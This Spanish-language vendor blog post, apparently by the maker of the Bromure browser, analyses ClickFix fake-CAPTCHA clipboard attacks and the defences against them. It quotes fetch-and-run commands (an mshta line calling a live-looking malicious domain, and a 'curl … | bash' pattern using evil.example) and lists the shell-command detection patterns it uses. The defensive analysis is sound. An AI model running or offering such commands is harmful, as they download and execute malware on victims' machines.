El portapapeles es el exploit — dónde deja ClickFix a todos los defensores

El 9 de abril de 2026, Rapid7 observó a un usuario visitar lo que parecía una página de descarga de la aplicación de escritorio Claude de Anthropic. La página le pedía que «verificara que era humano». Cuando hizo clic en el botón, la página puso la siguiente cadena en el portapapeles:

mshta https://download-version.1-5-8.com/claude.msixbundle

Luego le dijo que pulsara Win+R y pegara. El usuario lo hizo. mshta.exe es un binario de Windows que ejecuta HTML Applications, y se envía con cada versión del sistema operativo desde hace más de veinte años. Lo que mshta ejecutó fue una cadena que terminó con un infostealer corriendo en el host. No se tocó ningún bug del navegador. No se saltó ninguna verificación de firma de código. No apareció ningún aviso de elevación. El navegador hizo exactamente lo que el usuario le pidió; el sistema operativo hizo exactamente lo que el usuario le pidió. El atacante simplemente preguntó a través de ambos, usando el portapapeles como cable.

Cuatro días después, Booking.com reveló que su red de socios hoteleros había sido golpeada por la misma técnica —seguida por Microsoft como Storm-1865— con una carga final de XWorm y VenomRAT. La propia Microsoft, en un análisis anterior, atribuyó el cuarenta y siete por ciento de las intrusiones de acceso inicial en 2025 a este único patrón. Los socios de Booking.com no hicieron clic en un adjunto malicioso. No descargaron un ejecutable. Pulsaron Win+R y pegaron algo. Eso es todo lo que hace falta ahora.

Por qué funciona ClickFix.

La cadena de ataque cabe en una servilleta.

Todas las defensas a las que la gente suele recurrir ya han perdido para cuando la carga se ejecuta. ¿El filtro de reputación de URL? El atacante registró download-version.1-5-8.com ayer. ¿El sandbox del navegador? La carga no intenta escapar del navegador — simplemente le pide al humano que la saque. ¿La verificación de firma de código sobre el ejecutable? mshta.exe es un binario firmado por Microsoft. ¿El aviso de elevación? mshta no necesita elevación para descargar y ejecutar un HTA. ¿El agente de endpoint? Ve que el proceso padre es explorer.exe lanzado por una pulsación de tecla del usuario, lo cual es indistinguible de que el usuario ejecute literalmente cualquier otra cosa en su computadora.

ClickFix toma la única parte de la computadora que la industria no ha sido capaz de parchar —la persona sentada delante de ella— y la convierte en la etapa de ejecución. Por eso está en todas partes ahora. La campaña Storm-1865 usó un señuelo con la marca Booking.com. El caso de Rapid7 usó un señuelo de instalador de Claude. Los secuestros de cuentas de creadores de Facebook llevan meses usando la misma técnica. El señuelo cambia cada semana; el mecanismo no.

El mismo ataque, dirigido a macOS.

La captura de Rapid7, la brecha de Booking.com y los secuestros de creadores de Facebook apuntaban todos a hosts Windows. Ese es un sesgo real en los datos de esta semana —la industria de ClickFix es, ahora mismo, mayoritariamente una industria Windows— pero es una propiedad del mercado, no una propiedad del ataque. ClickFix es una técnica de portapapeles y teclado. Le da igual a qué sistema operativo esté conectado el teclado.

En macOS las sustituciones son mecánicas. Win+R se convierte en Cmd+Space y Terminal — o últimamente, Script Editor. La línea de mshta se convierte en curl -s https://evil.example | bash, o en una línea osascript -e, o en un AppleScript codificado en base64 con do shell script. La CAPTCHA falsa sigue siendo la CAPTCHA falsa; la escritura en el portapapeles sigue siendo la escritura en el portapapeles; el script de «verifica que eres humano» de la página cambia dos frases. Bitdefender documentó señuelos de ClickFix dirigidos a Mac que entregaban Atomic Stealer a principios de este año, y —como veremos enseguida— el hecho de que Apple sintiera la necesidad de enviar una respuesta a nivel de plataforma en macOS 26.4 es la señal más clara posible de que la variante para Mac no es hipotética.

Para Bromure, este es el caso que soporta la carga. Bromure corre en macOS. Cada usuario al que enviamos es un objetivo de ClickFix en macOS antes que cualquier otra cosa. Cuando hablamos en la siguiente sección de aislamiento del portapapeles y de phishing-guard, no estamos hablando de una curiosidad de Windows — estamos hablando de una técnica que ya ha aterrizado en el sistema operativo real de nuestros usuarios, y que la plataforma que eligieron está intentando, de forma imperfecta, parchar.

La postura honesta de Bromure contra ClickFix.

Nos gustaría decirte que Bromure previene ClickFix. No lo hace. Lo que Bromure hace es tomar un problema que antes no era de nadie —el portapapeles como cable controlado por el atacante entre el navegador y el host— y ponerlo detrás de dos capas en las que estamos trabajando activamente, una arquitectónica y otra basada en un plugin. Ninguna es una respuesta terminada. Ambas son mejores que nada. Aquí está exactamente dónde están hoy.

Capa uno — aislamiento del portapapeles como opción, no por defecto.

Bromure ejecuta cada pestaña dentro de su propia VM Linux desechable. La página corre ahí; el navegador corre ahí; la escritura de navigator.clipboard desde la CAPTCHA falsa ocurre ahí. La pregunta es a qué está conectado el portapapeles de la VM. Por defecto, hoy, está conectado al portapapeles del host macOS — porque la mayor parte del tiempo el portapapeles es cómo copias una URL desde el navegador a Mensajes, o pegas una contraseña desde 1Password en un formulario de inicio de sesión. Romper eso por defecto haría que el navegador fuera hostil de usar.

El modo de aislamiento total invierte ese valor por defecto. En aislamiento total, el puente del portapapeles entre la VM y el host macOS queda cortado. Una página dentro de la pestaña todavía puede escribir en el portapapeles de su propia VM —y el usuario todavía puede pegar dentro del terminal Linux de esa VM si realmente lo quiere— pero el portapapeles del host en el que el usuario pega en Win+R, o en Terminal.app, o en Spotlight, es un portapapeles diferente. La cadena mshta https://... de la página nunca llega al buffer de pegado del host. La cadena de ClickFix se trunca en la etapa 2.

La lectura honesta sobre el aislamiento total: es una respuesta arquitectónica limpia a ClickFix para los usuarios que la quieren, y es un impuesto de usabilidad que no estamos dispuestos a enviar como valor por defecto para todo el mundo. La mayoría de la gente copia y pega docenas de veces al día entre su navegador y sus notas, o su mensajería, o un documento en el que está trabajando. Hacer que ese camino fuera «está desactivado, ve a buscar la opción» para recuperar el copiar/pegar significaría que la mayoría de los usuarios lo vuelven a activar en una semana — y entonces les hemos enseñado el valor de compartir el portapapeles y el coste de la seguridad de un solo movimiento. Esa no es la lección que queremos que aprendan.

Así que el aislamiento total está ahí para el usuario que lo quiera, documentado, y es lo más fuerte que la arquitectura tiene que decir sobre ClickFix. No es lo que la mayoría de los usuarios van a usar.

Capa dos — el plugin anti-phishing, hoy y mañana.

Para la postura por defecto —con el puente del portapapeles activo— enviamos una segunda línea de defensa en el componente anti-phishing de Bromure, que llamamos phishing-guard. Merece la pena describir lo que hace, porque la mayor parte de la industria no lo hace, y porque pensamos que es el principio de la respuesta correcta en lugar del final.

Phishing-guard hookea los tres puntos de entrada de escritura en el portapapeles dentro del Chromium de la VM de pestaña: las APIs modernas navigator.clipboard.writeText y clipboard.write, y el camino heredado document.execCommand('copy') que las páginas más antiguas todavía usan. Siempre que una página escribe texto en el portapapeles, phishing-guard puede verlo antes de que lo haga el portapapeles del host.

Entonces ejecuta dos pruebas en paralelo. Primero, compara el contenido del portapapeles con un conjunto de expresiones regulares de comandos de shell — mantenemos diez, afinadas sobre las cargas que realmente vemos en la práctica: invocaciones de powershell, patrones mshta https://, tuberías curl ... | bash, blobs de PowerShell codificados en base64, certutil -urlcache, trucos con rundll32 y algunos otros. Segundo, escanea la página renderizada en busca de patrones de instrucciones que le digan al usuario que ejecute el contenido del portapapeles — trece de ellos, multilingües — cosas como «Pulsa Win+R», «abre Terminal», «pega para verificar que eres humano», en inglés, francés, español, alemán, portugués, italiano, neerlandés, polaco, japonés, coreano, chino, árabe y ruso.

Cuando ambos se disparan —una escritura en el portapapeles que parece un comando de shell, sobre una página cuyo texto está instruyendo al usuario para que lo pegue— phishing-guard envía la carga candidata a un veredicto de modelo de lenguaje y muestra un aviso dentro del navegador si el veredicto es hostil.

Dos limitaciones honestas incluso cuando esto funciona como está diseñado: la llamada al LLM tiene un coste de latencia, así que un usuario rápido puede pegar antes de que vuelva el veredicto; y regex-más-texto-de-página atrapa la forma de ClickFix pero no todas las variantes (una página que instruya al usuario verbalmente mediante un vídeo incrustado en lugar de mediante texto se escabulliría del escaneo de patrones hoy). Estamos trabajando activamente en endurecer el punto de bloqueo y reducir la ventana de detección. Son problemas de ingeniería con respuestas conocidas; simplemente no hemos terminado con ellos.

Lo que Apple envió en macOS 26.4 — y dónde se queda corto.

El 24 de marzo de 2026, Apple envió la misma forma de idea a nivel de sistema operativo. macOS 26.4 añadió un diálogo de aviso al pegar a la Terminal.app de primera parte: cuando el usuario pega en una ventana de Terminal, macOS inspecciona el portapapeles y, bajo ciertas condiciones, muestra un diálogo bloqueante que dice «Posible malware. Pegado bloqueado. Tu Mac no ha sufrido daños. Los estafadores a menudo animan a pegar texto en Terminal para intentar dañar tu Mac o comprometer tu privacidad.» Este es un buen paso, y nos alegra que Apple lo haya dado. También creemos que merece la pena ser precisos sobre lo que es y lo que no es.

Tres limitaciones que merece la pena nombrar. La primera es que el aviso vive dentro de Terminal.app, no dentro de la capa de pasteboard de macOS. iTerm2, Alacritty, Warp, Kitty y cada otro terminal que la comunidad de desarrolladores de Mac realmente usa no heredan la comprobación. Eso no es un descuido de Apple — es una decisión de alcance — pero significa que la base de usuarios con más probabilidad de pegar un comando de shell aleatorio, los ingenieros con su propia preferencia de terminal, es exactamente la base de usuarios a la que esta función no protege.

La segunda es Script Editor. El 8 de abril de 2026, Jamf Threat Labs informó de que los operadores de Atomic Stealer ya habían cambiado su script de ingeniería social de ClickFix de «abre Terminal y pega esto» a «abre Script Editor y pega esto», porque Script Editor ejecuta AppleScript y comandos de shell vía do shell script y no está cubierto por el aviso de 26.4. Thijs Xhaflaire, de Jamf, lo expuso con la mayor claridad posible: «al desplazar la ejecución desde Terminal a Script Editor, el atacante conserva un mecanismo de entrega familiar mientras cambia silenciosamente cómo y dónde se ejecuta realmente el comando.» La industria tardó dos semanas en rodear la mitigación. Eso no es una crítica a Apple; es una crítica a la forma del problema. No se puede resolver ClickFix parchando un solo destino.

La tercera limitación es la más grande y la menos discutida: macOS 26.4 protege a los usuarios de Mac. La industria real de ClickFix —la estructura de afiliados de Storm-1865 detrás de la brecha de Booking.com, la campaña del instalador falso de Claude y el grueso de la cifra del cuarenta y siete por ciento de acceso inicial en 2025— envía cargas para Windows, usa Win+R, invoca mshta y PowerShell, y aterriza en hosts Windows. Apple puede proteger Terminal.app a la perfección y mover cero agujas sobre esa flota. Para los post-mortems de ClickFix que leerás este año, el sistema operativo con el aviso de pegado no suele ser el que estaba ejecutando la víctima.

La tesis que estamos dispuestos a defender.

Durante veinte años la industria ha respondido a los ataques de ingeniería social con pósteres. «No hagas clic en enlaces sospechosos.» «Ten cuidado con los intentos de phishing.» «Piensa antes de pegar.» Cuando un usuario cae en ClickFix, la respuesta pública suele ser alguna variación de el usuario debería haberlo sabido — artículos que explican cómo detectar la CAPTCHA falsa, módulos de formación, cuestionarios anuales de concienciación en seguridad, culpa desplazada cortésmente hacia abajo. La suposición bajo todo ello es que el phishing es, en el fondo, un problema humano, y que la capa técnica ha hecho lo que ha podido.

No lo creemos. Creemos que ClickFix, y cualquier otra técnica de ingeniería social basada en portapapeles y teclado, es un problema técnico del que la capa técnica ha rehusado sistemáticamente hacerse dueña. El portapapeles es un bus de mensajes no autenticado entre cualquier página web y cualquier otra app del sistema operativo. El diálogo Ejecutar acepta cualquier cadena. La Terminal ejecuta lo que caiga en ella. Ninguno de estos diseños fue auditado frente al atacante que el portapapeles tiene ahora realmente. Ninguno de ellos se va a arreglar solo.

La respuesta correcta es trabajo — dentro de los navegadores, dentro de los sistemas operativos, dentro de la cooperación del ecosistema — para hacer que el camino portapapeles-a-comando-de-shell sea algo en lo que la máquina esté dispuesta a intervenir en nombre del usuario. macOS 26.4 es un paso; Windows necesita el suyo. phishing-guard es un paso; bloquear en duro la escritura en el portapapeles, enviar un aviso específico del portapapeles en lugar de un spinner genérico y reducir la latencia del veredicto hasta donde gane a un pegado rápido — esos son los siguientes pasos. El modo de aislamiento total es un paso; hacer más fácil convivir con él en el día a día es el siguiente.

Nada de esto es un póster. Nada de esto le pide al usuario que reconozca una CAPTCHA falsa más rápido, o que «pase el ratón por encima de los enlaces», o que se convierta en un experto en seguridad para abrir una pestaña del navegador. Creemos que la gente no debería tener que convertirse en experta en seguridad para abrir una pestaña del navegador. La tecnología rompió esto. La tecnología debería arreglarlo.

La hoja de ruta de Bromure contra ClickFix es la forma de esa convicción. Lo que enviamos hoy es una defensa parcial con dos palancas — una fuerte que cuesta usabilidad, y una más blanda a la que le estamos sacando dientes tan rápido como podemos. Lo que enviemos el año que viene será más afilado. Y seguiremos diciendo lo que la función hace y lo que no hace, en posts como este, porque la alternativa —enviar una página de marketing limpia con una marca de verificación junto a «ClickFix»— es exactamente el tipo de cosa que llevó a la industria a un lugar donde Storm-1865 puede hacer que el cuarenta y siete por ciento del acceso inicial de 2025 parezca fácil.